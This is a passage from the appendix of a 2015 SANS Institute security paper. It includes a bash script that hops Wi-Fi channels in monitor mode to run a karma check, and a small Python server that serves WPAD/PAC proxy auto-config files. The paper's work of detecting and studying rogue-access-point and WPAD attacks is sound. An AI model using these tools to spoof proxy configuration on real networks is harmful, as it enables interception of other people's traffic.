# Change STARTCHANNEL and ENDCHANNEL as needed, defaults to North
American channels.

IFACE="wlan18"
STARTCHANNEL=1
ENDCHANNEL=14

if [[ $# -eq 0 ]] ; then
        echo "-----------------------------------------------"
        echo "channel_hopper.sh - d.switzer 2015"
        echo " simple script to change channels on interfaces"
    echo "-----------------------------------------------"
        echo ""
        echo " usage:"
        echo " ./channel_hopper.sh interfacename"
        echo "    .. interfacename being the wifi interface you'd like to change"
        echo
        exit 0
fi
IFACE=$1

    echo "-----------------------------------------------"
echo "channel_hopper.sh - d.switzer 2015"
```

David E. Switzer, David.E.Switzer@gmail.com

© 2015 The SANS Institute Author retains full rights.

```
echo "------------------------------------------------"
echo "Let's go!  Looping from channel $STARTCHANNEL to $ENDCHANNEL ..."
echo "------------------------------------------------"

for A in $(eval echo "{$STARTCHANNEL..$ENDCHANNEL}"); do
        ifconfig $IFACE down
        iwconfig $IFACE mode managed
        iwconfig $IFACE channel $A
        iwconfig $IFACE mode monitor
        ifconfig $IFACE up
        ifconfig mon0 up

        ./karma_check.py -i $IFACE --channel $A
done
```

5.7. simple_http_wpad.py

This Python script is a very simple, basic web server that will serve the files in the directory where it initially executed. The only extra feature is it will serve any ".pac" or "wpad.dat" file as "ns-autoproxy-config", the file/stream type required for PAC files. Defaults to port 80 unless a different port is specified on the command line, and it binds to "0.0.0.0".

https://github.com/violentlydave/Poaching/blob/master/simple_http_wpad.py

```
#!/usr/bin/python
#
# simple_http_wpad.py - d.e.switzer #
ZGF2aWQgZG90IGUgZG90IHN3aXR6ZXIgYXQgdGVoZ21haWx6Cg==
#
# a simple HTTP server to serve up WPAD files (or misc other stuff)
#
```


© 2015 The SANS Institute Author retains full rights.

```
import argparse,sys,SimpleHTTPServer,SocketServer
import BaseHTTPServer

__author__ = 'd.e.switzer'

def get_me_some_args():
   parser = argparse.ArgumentParser(
      description='Simple HTTP server that serves data from local dir.')
   parser.add_argument(
      '-p', '--port', type=int, help='Port for the HTTP server to run on.',
required=False, default='80')
   args = parser.parse_args()
   port = args.port
   return port

port = get_me_some_args()
my_handler = SimpleHTTPServer.SimpleHTTPRequestHandler
my_handler.extensions_map.update({
 '.dat': 'application/x-ns-proxy-autoconfig','.pac': 'application/x-ns-proxy-
autoconfig' });
httpd = SocketServer.TCPServer(("", port), my_handler)

try:
    print "-----------------------------------------------"
    print "Super Simple HTTP Server - d.switzer 2015"
    print "-----------------------------------------------"
    print "Listening on port ", port
    httpd.serve_forever()

except KeyboardInterrupt:
    print "Otay, closing up socket-shop..."
```


© 2015 The SANS Institute Author retains full rights.

httpd.socket.close()

© 2015 SANS Institute, Author retains full rights.

David E. Switzer, David.E.Switzer@gmail.com

© 2015 The SANS Institute Author retains full rights.